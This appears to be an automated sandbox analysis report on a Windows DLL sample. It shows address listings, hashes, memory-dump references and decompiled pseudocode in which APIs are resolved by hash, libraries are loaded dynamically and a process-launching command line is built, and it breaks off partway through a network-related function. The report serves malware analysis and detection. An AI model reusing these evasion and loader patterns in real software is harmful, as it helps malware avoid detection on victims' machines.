0x6efe56ba
0x6efe56ad
0x6efe57b2
0x6efe57b5
0x6efe5b3c
0x6efe5b3c
0x6efe5b41
0x6efe5b43
0x6efe5b54
0x6efe5b54
0x6efe5b59
0x6efe5b5b
0x6efe5e33
0x6efe5e35
0x6efe5e3a
0x6efe5e3d
0x6efe5e3f
0x6efe5e47
0x6efe5e49
0x6efe5e41
0x6efe5e41
0x6efe5e41
0x6efe5e4e
0x6efe5e4e
0x6efe5b61
0x6efe5b6e
0x6efe5b71
0x6efe5e0b
0x6efe5e10
0x6efe5e1a
0x6efe5e21
0x6efe5e22
0x6efe5e29
0x6efe5b77
0x6efe5b86
0x6efe5b86
0x6efe5b45
0x6efe5b45
0x6efe5b4b
0x6efe5b50
0x6efe5b52
0x00000000
0x00000000
0x6efe5b52
0x6efe5b92
0x6efe5b97
0x6efe5b99
0x6efe5baa
0x6efe5baa
0x6efe5baf
0x6efe5bb1
0x6efe5eb0
0x6efe5eb2
0x6efe5eb7
0x6efe5eba
0x6efe5ebc
0x6efe5ec4
0x6efe5ec6
0x6efe5ebe
0x6efe5ebe
0x6efe5ebe
0x6efe5ecb
0x6efe5ecb
0x6efe5bb7
0x6efe5bc4
0x6efe5bc7
0x6efe5e62
0x6efe5e68
0x6efe5e73
0x6efe5e74
0x6efe5e7d
0x6efe5e84
0x6efe5e89
0x6efe5e8b
0x6efe5e93
0x6efe5e9e
0x6efe5ea6
0x6efe5ea6
0x6efe5bcd
0x6efe5bcf
0x6efe5be8
0x6efe5bf1
0x6efe5bf5
0x6efe5bf7
0x6efe5c05
0x6efe5c06
0x6efe5c12
0x6efe5c12
0x6efe5b9b
0x6efe5b9b
0x6efe5ba1
0x6efe5ba6
0x6efe5ba8
0x00000000
0x00000000
0x6efe5ba8
0x6efe5c1e
0x6efe5c21
0x6efe5c24
0x6efe5d87
0x6efe5d8e
0x6efe5ee4
0x6efe5ee4
0x6efe5d94
0x6efe5d9c
0x6efe5daa
0x6efe5dbd
0x6efe5dc4
0x6efe5dc9
0x6efe5c2a
0x6efe5c2a
0x6efe5c2d
0x6efe5cf0
0x6efe5cf3
0x6efe5cfb
0x6efe5d02
0x6efe5d04
0x6efe5d07
0x6efe5d0a
0x6efe5d0d
0x6efe5d1b
0x6efe5d25
0x6efe5d2a
0x6efe5d32
0x6efe5d34
0x6efe5d34
0x6efe5d36
0x6efe5d3e
0x6efe5d43
0x6efe5d47
0x6efe5d4f
0x6efe5d58
0x6efe5d58
0x6efe5d5d
0x6efe5d5e
0x6efe5d5e
0x6efe5d36
0x6efe5d6e
0x6efe5d73
0x6efe5d7a
0x6efe5d7c
0x6efe5d80
0x6efe5d80
0x6efe5d7c
0x6efe5c33
0x6efe5c33
0x6efe5c35
0x6efe5c3b
0x6efe5c42
0x6efe5c58
0x6efe5c5a
0x6efe5c5e
0x6efe5c60
0x6efe5c63
0x6efe5c66
0x6efe5c69
0x6efe5c77
0x6efe5c81
0x6efe5c8d
0x6efe5c8f
0x6efe5c96
0x6efe5c9b
0x6efe5ca0
0x6efe5ca2
0x6efe5ca2
0x6efe5ca4
0x6efe5ca9
0x6efe5cae
0x6efe5cb2
0x6efe5cba
0x6efe5cc3
0x6efe5cc3
0x6efe5cc8
0x6efe5cc9
0x6efe5cc9
0x6efe5ca4
0x6efe5ca0
0x6efe5cd3
0x6efe5cd8
0x6efe5cdc
0x6efe5cde
0x6efe5ce6
0x6efe5ce6
0x6efe5c44
0x6efe5c44
0x6efe5c49
0x6efe5c4f
0x6efe5c52
0x00000000
0x00000000
0x6efe5c52
0x6efe5c42
0x6efe5c35
0x6efe5c2d
0x6efe5dd5
0x6efe5de1
0x6efe5ded
0x6efe5df9
0x6efe5dfe
0x6efe5e0a
0x6efe57bb
0x6efe57c2
0x6efe57c4
0x00000000
0x6efe57ca
0x6efe57ca
0x6efe57cc
0x00000000
0x6efe57d2
0x6efe57dc
0x6efe57e4
0x6efe57e7
0x6efe57f5
0x6efe5809
0x6efe580b
0x6efe580d
0x6efe5813
0x6efe5813
0x6efe581a
0x6efe5821
0x6efe5821
0x6efe5823
0x6efe5828
0x6efe5834
0x6efe5844
0x6efe5849
0x6efe584e
0x6efe5854
0x6efe5854
0x6efe5859
0x6efe585e
0x6efe5863
0x6efe586a
0x6efe586e
0x6efe5873
0x6efe5878
0x6efe5888
0x6efe588d
0x6efe5896
0x6efe58b7
0x6efe58be
0x6efe58d0
0x6efe58df
0x6efe58e4
0x6efe58e6
0x00000000
0x00000000
0x6efe5996
0x6efe5996
0x6efe58ec
0x6efe58ed
0x6efe58ee
0x6efe58ef
0x6efe58f0
0x6efe58f2
0x6efe58f3
0x6efe58f4
0x6efe58f5
0x6efe58f9
0x6efe58fd
0x6efe58fe
0x6efe58fe
0x6efe57cc
0x6efe57c4
0x6efe5658
0x6efe565f
0x6efe566b
0x6efe5677
0x6efe5683
0x6efe5688
0x6efe5694
0x6efe5694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6EFE562E

Strings

)V, xrefs: 6EFE55D2

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: a383cb3d809462d2644e17c74947364af420ba3b340de4eb14238484444c35c3
Instruction ID: 6880907554ce83836c8b024d12dd98f23f89fa66198da5c08595517070795f29
Opcode Fuzzy Hash: a383cb3d809462d2644e17c74947364af420ba3b340de4eb14238484444c35c3
Instruction Fuzzy Hash: AF31B531118385DBC735ABE5C8717DEB3EAAF84309F404C2AD596465A0EF316646CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EFE54F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6EFE54F5() {
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				signed int _t117;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				signed int _t127;
				intOrPtr _t128;
				intOrPtr* _t132;
				void* _t147;
				void* _t157;
				intOrPtr _t160;
				signed int _t170;
				signed int _t174;
				void* _t189;
				intOrPtr* _t190;
				signed int _t193;
				unsigned int _t197;
				intOrPtr _t200;
				signed short* _t201;
				signed int _t204;
				void* _t222;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				intOrPtr* _t256;
				intOrPtr* _t264;
				signed int _t279;
				signed int _t281;
				signed int _t284;
				void* _t328;
				signed int _t329;
				signed int _t332;
				void* _t334;
				signed int _t335;
				intOrPtr _t338;
				void* _t341;
				intOrPtr* _t344;

				E6EFF8CA0(_t344 + 0xe4);
				E6EFF8CA0(_t344 + 0x118);
				if(1 == 0) {
					_t226 = 0;
					__eflags = 0;
				} else {
					_t226 = 1;
				}
				E6EFEAC00(_t344 + 0x120, 2);
				E6EFFD980(_t344 + 0x128, _t344 + 0x130, 0x7e);
				E6EFF8CA0(_t344 + 0x120);
				if( *(_t344 + 0x130) > 0) {
					 *_t344 = _t338;
					_t329 = _t344 + 0x130;
					L6:
					while(1) {
						L6:
						while(1) {
							L6:
							if(E6EFF15C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6F007600(_t329, _t332))); // executed
							}
							_t222 =  *(_t344 + 0x130);
							while(1) {
								_t332 = 1;
								if(1 >= _t222) {
									break;
								}
								if(1 != 4) {
									goto L6;
								} else {
									_t316 =  *0x6f01b02a & 0x000000ff;
									if(( *0x6f01b02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L6;
									}
								}
								goto L14;
							}
							_t338 =  *_t344;
							goto L14;
						}
					}
				}
				L14:
				__eflags =  *((intOrPtr*)(_t338 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t338 + 0x2c)) != 2) {
					__eflags =  *0x6f01b028 & 0x000000ff;
					if(( *0x6f01b028 & 0x000000ff) == 0) {
						__eflags =  *0x6f01b265 & 0x000000ff;
						if(( *0x6f01b265 & 0x000000ff) == 0) {
							__eflags =  *0x6f01b1cc - 1;
							if( *0x6f01b1cc != 1) {
								_t200 =  *0x6f01b1d0; // 0x1569798
								_t15 = _t200 + 4; // 0x15697c0
								_t201 =  *_t15;
								_t316 =  *_t201 & 0x0000ffff;
								__eflags = ( *_t201 & 0x0000ffff) - 0x2d;
								if(( *_t201 & 0x0000ffff) != 0x2d) {
									E6EFF8AB0(_t344 + 0xcc, _t201, 0);
									_push(0x80);
									_push(0);
									E6F00A4E0(_t344 + 0x68, __eflags,  *((intOrPtr*)(_t344 + 0xd0)), 1);
									_t204 = E6F00BEA0(_t344 + 0x64, _t316, _t332);
									__eflags = _t204;
									if(_t204 == 0) {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6F00BE30(_t344 + 0x64, _t332);
										}
										E6EFF8CA0(_t344 + 0x58);
										_t335 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6F00A730(_t344 + 0xc4, _t316);
											if(__eflags == 0) {
												break;
											}
											E6EFF22A0(0x64, _t316);
											_t335 = _t335 + 1;
											__eflags = _t335 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t332 = _t344 + 0xcc;
										do {
											E6EFFAE80(_t344 + 0xcc, __eflags, _t332, 0x5c);
											E6EFF8CC0(_t344 + 0xc8,  *(_t344 + 0xcc));
											E6EFF8CA0(_t332);
											__eflags = E6F00A730(_t344 + 0xc4, _t316);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t344 + 0x68));
										if( *((char*)(_t344 + 0x68)) != 0) {
											E6F00BE30(_t344 + 0x64, _t332);
										}
										E6EFF8CA0(_t344 + 0x58);
									}
									E6EFF8CA0(_t344 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6f01b02a & 0x000000ff) - 2;
					if(( *0x6f01b02a & 0x000000ff) == 2) {
						L43:
						_t109 =  *0x6f01b1ad; // 0x14a1f88
						__eflags = _t109;
						if(_t109 == 0) {
							L45:
							_t110 =  *0x6f01b1ad; // 0x14a1f88
							__eflags = _t110;
							if(_t110 == 0) {
								_push(0x10);
								_t111 = E6EFF1030();
								_t344 = _t344 + 4;
								__eflags = _t111;
								if(_t111 != 0) {
									_push(0);
									_t112 = E6F009350(_t111);
								} else {
									_t112 = 0;
								}
								 *0x6f01b1ad = _t112;
							}
							_t332 =  *0x6f01b1ad; // 0x14a1f88
							__eflags = ( *0x6f01b02a & 0x000000ff) - 1;
							if(( *0x6f01b02a & 0x000000ff) == 1) {
								_t316 = 0x18f8c844;
								_t329 = _t344 + 0x28;
								E6EFE6AD0(_t226, _t329, 0x18f8c844, _t329, _t332, 1, 0);
								_push(_t329);
								E6F009520(_t332);
								E6F009510(_t329);
							} else {
								E6F009710(_t332, 0x6f01b02d,  *0x6f01b02b & 0x0000ffff);
							}
						} else {
							_t281 =  *0x6f01b1ad; // 0x14a1f88
							_t174 = E6F009660(_t281);
							__eflags = _t174;
							if(_t174 != 0) {
								goto L45;
							}
						}
						_t117 =  *0x6f01b1b1; // 0x0
						__eflags = _t117;
						if(_t117 == 0) {
							L51:
							_t118 =  *0x6f01b1b1; // 0x0
							__eflags = _t118;
							if(_t118 == 0) {
								_push(0x10);
								_t119 = E6EFF1030();
								_t344 = _t344 + 4;
								__eflags = _t119;
								if(_t119 != 0) {
									_push(0);
									_t120 = E6F009350(_t119);
								} else {
									_t120 = 0;
								}
								 *0x6f01b1b1 = _t120;
							}
							_t329 =  *0x6f01b1b1; // 0x0
							__eflags = ( *0x6f01b02a & 0x000000ff) - 1;
							if(( *0x6f01b02a & 0x000000ff) == 1) {
								_t316 = 0x11041f01;
								E6EFE6AD0(_t226, _t344 + 0x38, 0x11041f01, _t329, _t332, 1, 1);
								_push(_t344 + 0x38);
								E6F009520(_t329);
								E6F009510(_t344 + 0x38);
								_t127 = E6F009650(_t329);
								__eflags = _t127;
								if(_t127 != 0) {
									_t316 = 0xd3ef7577;
									E6EFE6AD0(_t226, _t344 + 8, 0xd3ef7577, _t329, _t332, 0, 0);
									E6F009510(_t344);
								}
							} else {
								_t332 =  *0x6f01b1c4; // 0x6efe0000
								__eflags =  *((char*)(E6EFF3930(_t226, 0, _t329, _t332) + 0xb)) - 0x20;
								_t325 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t316 = _t332;
								E6EFE9090(_t344 + 0x88, _t332,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t344 + 0x88);
								E6F009520(_t329);
								E6F009510(_t344 + 0x88);
							}
						} else {
							_t279 =  *0x6f01b1b1; // 0x0
							_t170 = E6F009660(_t279);
							__eflags = _t170;
							if(_t170 != 0) {
								goto L51;
							}
						}
						_t128 =  *((intOrPtr*)(_t338 + 0x2c));
						__eflags = _t128 - 3;
						if(_t128 == 3) {
							__eflags =  *0x6f01b1cc - 3;
							if( *0x6f01b1cc == 3) {
								E6EFF8CC0(_t344 + 0x10c,  *((intOrPtr*)( *0x6f01b1d0 + 8)));
							}
							_t227 = _t344 + 0x48;
							E6EFF8810(_t344 + 0x48, 0);
							_t132 = E6EFF9890(_t227, _t344 + 0x48, _t316, _t329, _t332, _t227, 0x6f019428,  *((intOrPtr*)(_t338 + 0x2c)));
							E6F000220(_t344 + 0x110,  *_t132, 0);
							E6EFF8CA0(_t227);
							L6EFE8180(_t332);
						} else {
							__eflags = _t128 - 5;
							if(_t128 != 5) {
								__eflags = _t128 - 6;
								if(__eflags == 0) {
									_t256 = _t344 + 0xa4;
									 *_t256 = 0;
									 *((intOrPtr*)(_t256 + 4)) = 0;
									 *((intOrPtr*)(_t256 + 8)) = 0;
									 *((intOrPtr*)(_t256 + 0xc)) = 0;
									E6EFF5B60(_t226, _t256, _t329, _t332, __eflags);
									E6EFE6740(_t344 + 0xa4);
									E6EFF1350(0x12);
									__eflags =  *(_t344 + 0xa8);
									if( *(_t344 + 0xa8) > 0) {
										_t229 = 0;
										__eflags = 0;
										do {
											_t147 = E6F012B00(_t344 + 0xa8, _t229);
											__eflags =  *((char*)(_t147 + 0x3c));
											if( *((char*)(_t147 + 0x3c)) == 0) {
												E6EFE2A40(_t344 + 0x50, _t147);
												E6EFF8CA0(_t344 + 0x50);
											}
											_t229 = _t229 + 1;
											__eflags = _t229 -  *(_t344 + 0xa8);
										} while (_t229 <  *(_t344 + 0xa8));
									}
									E6F012970(_t226, _t344 + 0xa4, _t329);
									_t260 =  *(_t344 + 0xb0);
									__eflags =  *(_t344 + 0xb0);
									if( *(_t344 + 0xb0) != 0) {
										E6EFE2A20(_t260, 1);
									}
								}
							} else {
								__eflags = _t226;
								if(_t226 == 0) {
									__eflags =  *0x6f01b1cc - 1;
									if(__eflags <= 0) {
										L60:
										_t264 = _t344 + 0x18;
										 *_t264 = 0;
										 *((intOrPtr*)(_t264 + 4)) = 0;
										 *((intOrPtr*)(_t264 + 8)) = 0;
										 *((intOrPtr*)(_t264 + 0xc)) = 0;
										E6EFF5B60(_t226, _t264, _t329, _t332, __eflags);
										__eflags = ( *0x6f01b029 & 0x000000ff) - 1;
										E6EFE7DB0(_t344 + 0x18, 0 | ( *0x6f01b029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6f01b029 & 0x000000ff;
										if(( *0x6f01b029 & 0x000000ff) != 0) {
											E6EFF1350(0x12);
											__eflags =  *(_t344 + 0x1c);
											if( *(_t344 + 0x1c) > 0) {
												_t230 = 0;
												__eflags = 0;
												do {
													_t157 = E6F012B00(_t344 + 0x1c, _t230);
													__eflags =  *((char*)(_t157 + 0x3c));
													if( *((char*)(_t157 + 0x3c)) == 0) {
														E6EFE2A40(_t344 + 0x10, _t157);
														E6EFF8CA0(_t344 + 0x10);
													}
													_t230 = _t230 + 1;
													__eflags = _t230 -  *(_t344 + 0x1c);
												} while (_t230 <  *(_t344 + 0x1c));
											}
										}
										E6F012970(_t226, _t344 + 0x18, _t329);
										_t267 =  *(_t344 + 0x24);
										__eflags =  *(_t344 + 0x24);
										if( *(_t344 + 0x24) != 0) {
											E6EFE2A20(_t267, 1);
										}
									} else {
										_t160 =  *0x6f01b1d0; // 0x1569798
										_t58 = _t160 + 4; // 0x15697c0
										__eflags = ( *( *_t58) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L60;
										}
									}
								}
							}
						}
						E6F008910(_t344 + 0x130, _t329, _t332);
						E6EFF8CA0(_t344 + 0x110);
						E6EFF8CA0(_t344 + 0x108);
						E6EFF7A70(_t344 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6f01b027 & 0x000000ff;
						if(( *0x6f01b027 & 0x000000ff) == 0) {
							goto L43;
						} else {
							__eflags = _t226;
							if(_t226 != 0) {
								goto L43;
							} else {
								__eflags =  *((char*)(_t338 + 0xb)) - 0x20;
								_t327 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6EFE61B0(_t344 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t338 + 0xb)) - 0x20);
								E6EFF8810(_t344 + 0x18, 0x200);
								_t284 = E6EFF15C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t284;
								if(__eflags != 0) {
									_t197 =  *(_t344 + 0x18) >> 1;
									__eflags = _t197;
									_t327 =  *0x6f01b1c4; // 0x6efe0000
									 *_t284(_t327,  *(_t344 + 0x18), _t197);
								}
								_push(0x80);
								_push(0);
								E6F00A4E0(_t344 + 0x10, __eflags,  *((intOrPtr*)(_t344 + 0x20)), 1);
								E6F00A520(_t344 + 8, _t327, _t344 + 0x1c, 0);
								__eflags =  *((char*)(_t344 + 0x10));
								if( *((char*)(_t344 + 0x10)) != 0) {
									E6F00BE30(_t344 + 0xc, _t332);
								}
								__eflags = 0;
								E6EFF8CA0(_t344);
								_t334 = _t344 + 0x1a0;
								_t341 = _t344 + 0x2c;
								while(1) {
									E6EFF0B70(_t334, 0, 0x44);
									 *((intOrPtr*)(_t344 + 0x1ac)) = 0x44;
									E6EFF0B70(_t341, 0, 0x10);
									_t344 = _t344 + 0x18;
									E6EFF8810(_t344 + 0x4c, 0);
									_t189 = E6EFF96D0(E6EFF96D0(E6F000220(_t344 + 0x50,  *((intOrPtr*)(_t344 + 0x40)), 0), 0x20), 0x22);
									_t190 =  *0x6f01b1d0; // 0x1569798
									E6EFF96D0(E6F000220(_t189,  *_t190, 0), 0x22);
									_t193 = E6EFF15C0(0xa1310f65, 0x643f303c);
									__eflags = _t193;
									if(_t193 != 0) {
										break;
									}
									E6EFF8CA0(_t344 + 0x48);
								}
								_push(_t341);
								_push(_t334);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t344 + 0x68)));
								_push( *((intOrPtr*)(_t344 + 0x60)));
								asm("int3");
								return _t193;
							}
						}
					}
				} else {
					E6F008910(_t344 + 0x130, _t328, _t332);
					E6EFF8CA0(_t344 + 0x110);
					E6EFF8CA0(_t344 + 0x108);
					E6EFF7A70(_t344 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6efe55a8
0x6efe55b4
0x6efe55bb
0x6efe55c4
0x6efe55c4
0x6efe55bd
0x6efe55bd
0x6efe55bd
0x6efe55d2
0x6efe55e8
0x6efe55f4
0x6efe5601
0x6efe5603
0x6efe5608
0x00000000
0x6efe560f
0x00000000
0x6efe560f
0x6efe560f
0x6efe5622
0x6efe562e
0x6efe562e
0x6efe5630
0x6efe5637
0x6efe5637
0x6efe563a
0x00000000
0x00000000
0x6efe563f
0x00000000
0x6efe5641
0x6efe5641
0x6efe564b
0x00000000
0x6efe564d
0x00000000
0x6efe564d
0x6efe564b
0x00000000
0x6efe563f
0x6efe564f
0x00000000
0x6efe564f
0x6efe560f
0x6efe560f
0x6efe5652
0x6efe5652
0x6efe5656
0x6efe569c
0x6efe569e
0x6efe56ab
0x6efe56ad
0x6efe56b3
0x6efe56ba
0x6efe56c0
0x6efe56c5
0x6efe56c5
0x6efe56c8
0x6efe56cb
0x6efe56ce
0x6efe56de
0x6efe56e3
0x6efe56e8
0x6efe56f7
0x6efe5700
0x6efe5705
0x6efe5707
0x6efe5724
0x6efe5729
0x6efe572f
0x6efe572f
0x6efe5738
0x6efe573d
0x6efe573d
0x6efe573f
0x6efe574b
0x6efe574d
0x00000000
0x00000000
0x6efe5754
0x6efe5759
0x6efe575a
0x6efe575d
0x00000000
0x00000000
0x00000000
0x6efe575d
0x6efe575f
0x6efe5766
0x6efe5770
0x6efe5783
0x6efe578a
0x6efe579b
0x6efe579b
0x6efe5709
0x6efe5709
0x6efe570e
0x6efe5714
0x6efe5714
0x6efe571d
0x6efe571d
0x6efe57a6
0x6efe57a6
0x6efe56ce
0x6efe56ba
0x6efe56ad
0x6efe57b2
0x6efe57b5
0x6efe5b3c
0x6efe5b3c
0x6efe5b41
0x6efe5b43
0x6efe5b54
0x6efe5b54
0x6efe5b59
0x6efe5b5b
0x6efe5e33
0x6efe5e35
0x6efe5e3a
0x6efe5e3d
0x6efe5e3f
0x6efe5e47
0x6efe5e49
0x6efe5e41
0x6efe5e41
0x6efe5e41
0x6efe5e4e
0x6efe5e4e
0x6efe5b61
0x6efe5b6e
0x6efe5b71
0x6efe5e0b
0x6efe5e10
0x6efe5e1a
0x6efe5e21
0x6efe5e22
0x6efe5e29
0x6efe5b77
0x6efe5b86
0x6efe5b86
0x6efe5b45
0x6efe5b45
0x6efe5b4b
0x6efe5b50
0x6efe5b52
0x00000000
0x00000000
0x6efe5b52
0x6efe5b92
0x6efe5b97
0x6efe5b99
0x6efe5baa
0x6efe5baa
0x6efe5baf
0x6efe5bb1
0x6efe5eb0
0x6efe5eb2
0x6efe5eb7
0x6efe5eba
0x6efe5ebc
0x6efe5ec4
0x6efe5ec6
0x6efe5ebe
0x6efe5ebe
0x6efe5ebe
0x6efe5ecb
0x6efe5ecb
0x6efe5bb7
0x6efe5bc4
0x6efe5bc7
0x6efe5e62
0x6efe5e68
0x6efe5e73
0x6efe5e74
0x6efe5e7d
0x6efe5e84
0x6efe5e89
0x6efe5e8b
0x6efe5e93
0x6efe5e9e
0x6efe5ea6
0x6efe5ea6
0x6efe5bcd
0x6efe5bcf
0x6efe5be8
0x6efe5bf1
0x6efe5bf5
0x6efe5bf7
0x6efe5c05
0x6efe5c06
0x6efe5c12
0x6efe5c12
0x6efe5b9b
0x6efe5b9b
0x6efe5ba1
0x6efe5ba6
0x6efe5ba8
0x00000000
0x00000000
0x6efe5ba8
0x6efe5c1e
0x6efe5c21
0x6efe5c24
0x6efe5d87
0x6efe5d8e
0x6efe5ee4
0x6efe5ee4
0x6efe5d94
0x6efe5d9c
0x6efe5daa
0x6efe5dbd
0x6efe5dc4
0x6efe5dc9
0x6efe5c2a
0x6efe5c2a
0x6efe5c2d
0x6efe5cf0
0x6efe5cf3
0x6efe5cfb
0x6efe5d02
0x6efe5d04
0x6efe5d07
0x6efe5d0a
0x6efe5d0d
0x6efe5d1b
0x6efe5d25
0x6efe5d2a
0x6efe5d32
0x6efe5d34
0x6efe5d34
0x6efe5d36
0x6efe5d3e
0x6efe5d43
0x6efe5d47
0x6efe5d4f
0x6efe5d58
0x6efe5d58
0x6efe5d5d
0x6efe5d5e
0x6efe5d5e
0x6efe5d36
0x6efe5d6e
0x6efe5d73
0x6efe5d7a
0x6efe5d7c
0x6efe5d80
0x6efe5d80
0x6efe5d7c
0x6efe5c33
0x6efe5c33
0x6efe5c35
0x6efe5c3b
0x6efe5c42
0x6efe5c58
0x6efe5c5a
0x6efe5c5e
0x6efe5c60
0x6efe5c63
0x6efe5c66
0x6efe5c69
0x6efe5c77
0x6efe5c81
0x6efe5c8d
0x6efe5c8f
0x6efe5c96
0x6efe5c9b
0x6efe5ca0
0x6efe5ca2
0x6efe5ca2
0x6efe5ca4
0x6efe5ca9
0x6efe5cae
0x6efe5cb2
0x6efe5cba
0x6efe5cc3
0x6efe5cc3
0x6efe5cc8
0x6efe5cc9
0x6efe5cc9
0x6efe5ca4
0x6efe5ca0
0x6efe5cd3
0x6efe5cd8
0x6efe5cdc
0x6efe5cde
0x6efe5ce6
0x6efe5ce6
0x6efe5c44
0x6efe5c44
0x6efe5c49
0x6efe5c4f
0x6efe5c52
0x00000000
0x00000000
0x6efe5c52
0x6efe5c42
0x6efe5c35
0x6efe5c2d
0x6efe5dd5
0x6efe5de1
0x6efe5ded
0x6efe5df9
0x6efe5dfe
0x6efe5e0a
0x6efe57bb
0x6efe57c2
0x6efe57c4
0x00000000
0x6efe57ca
0x6efe57ca
0x6efe57cc
0x00000000
0x6efe57d2
0x6efe57dc
0x6efe57e4
0x6efe57e7
0x6efe57f5
0x6efe5809
0x6efe580b
0x6efe580d
0x6efe5813
0x6efe5813
0x6efe581a
0x6efe5821
0x6efe5821
0x6efe5823
0x6efe5828
0x6efe5834
0x6efe5844
0x6efe5849
0x6efe584e
0x6efe5854
0x6efe5854
0x6efe5859
0x6efe585e
0x6efe5863
0x6efe586a
0x6efe586e
0x6efe5873
0x6efe5878
0x6efe5888
0x6efe588d
0x6efe5896
0x6efe58b7
0x6efe58be
0x6efe58d0
0x6efe58df
0x6efe58e4
0x6efe58e6
0x00000000
0x00000000
0x6efe5996
0x6efe5996
0x6efe58ec
0x6efe58ed
0x6efe58ee
0x6efe58ef
0x6efe58f0
0x6efe58f2
0x6efe58f3
0x6efe58f4
0x6efe58f5
0x6efe58f9
0x6efe58fd
0x6efe58fe
0x6efe58fe
0x6efe57cc
0x6efe57c4
0x6efe5658
0x6efe565f
0x6efe566b
0x6efe5677
0x6efe5683
0x6efe5688
0x6efe5694
0x6efe5694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6EFE562E

Strings

)V, xrefs: 6EFE55D2

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: cb02a9446479240972bef8bcde6227bde7fc11ca0281bd7d5e4c166ed4c941d3
Instruction ID: 99cccfa0efc795135fa0ec87c3ae4c741a94a7d43feb48a60d7001c68390394e
Opcode Fuzzy Hash: cb02a9446479240972bef8bcde6227bde7fc11ca0281bd7d5e4c166ed4c941d3
Instruction Fuzzy Hash: DE01563211C3919BC731ABD5C8B17DEB3EAAF85304F410C2AD59656591DF70A946CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6F013370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6F013370(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t102;
				signed int _t109;
				signed int _t118;
				signed int _t119;
				intOrPtr* _t128;
				signed int _t129;
				intOrPtr _t151;
				signed int _t153;
				signed int _t154;
				intOrPtr _t155;
				void* _t158;
				WCHAR* _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				void* _t164;
				signed int _t165;
				WCHAR* _t166;
				void* _t167;
				void* _t169;
				short _t172;
				signed int _t174;
				signed int _t177;
				signed int _t179;
				signed int _t180;
				signed int _t181;
				signed int _t209;
				signed int _t226;
				signed int _t228;
				signed int _t229;
				intOrPtr _t230;
				signed int _t240;
				void* _t241;
				WCHAR* _t244;
				intOrPtr* _t249;
				void* _t253;
				short* _t254;

				_t254 = _t253 - 0x60;
				_t244 = 0;
				_t249 = __ecx;
				 *_t254 = 0;
				E6F0006A0( &(_t254[4]), __ecx, 0);
				E6F0006A0( &(_t254[8]), __ecx, 0);
				E6F0006A0( &(_t254[0xc]), __ecx, 0);
				E6F0006A0( &(_t254[0x10]), __ecx, 0);
				E6F014D50( &(_t254[2]),  *(_t254[0x3a]));
				_t172 =  *_t254;
				E6EFF8810( &(_t254[0x1e]), 0);
				E6EFF87A0( &(_t254[0x20]));
				E6EFF87A0( &(_t254[0x24]));
				_t102 = E6F000220( &(_t254[0x20]), _t254[0x26], 0);
				E6EFF87A0( &(_t254[0x28]));
				E6F000220(_t102, _t254[0x2a], 0);
				E6EFF8CA0( &(_t254[0x28]));
				E6EFF8CA0( &(_t254[0x24]));
				if(E6F001000( &(_t254[2])) == 0) {
					_t242 = _t254[2];
					_t169 = E6F00D620(_t242, E6F006040(_t254[2], 0x7fffffff));
					if(_t169 != 0x97780db2) {
						__eflags = _t169 - 0x3ef665a6;
						if(_t169 == 0x3ef665a6) {
							 *(_t249 + 0x18) = 1;
						}
					} else {
						 *(_t249 + 0x18) = 0;
					}
				}
				if(E6EFF15C0(0xd27f045a, 0xe214cde) == 0) {
					__eflags =  *((char*)(_t249 + 0xc));
					if( *((char*)(_t249 + 0xc)) == 0) {
						L71:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = 0;
						goto L17;
					} else {
						_t180 =  *(_t249 + 8);
						__eflags = _t180;
						if(_t180 == 0) {
							L67:
							_t162 = 1;
						} else {
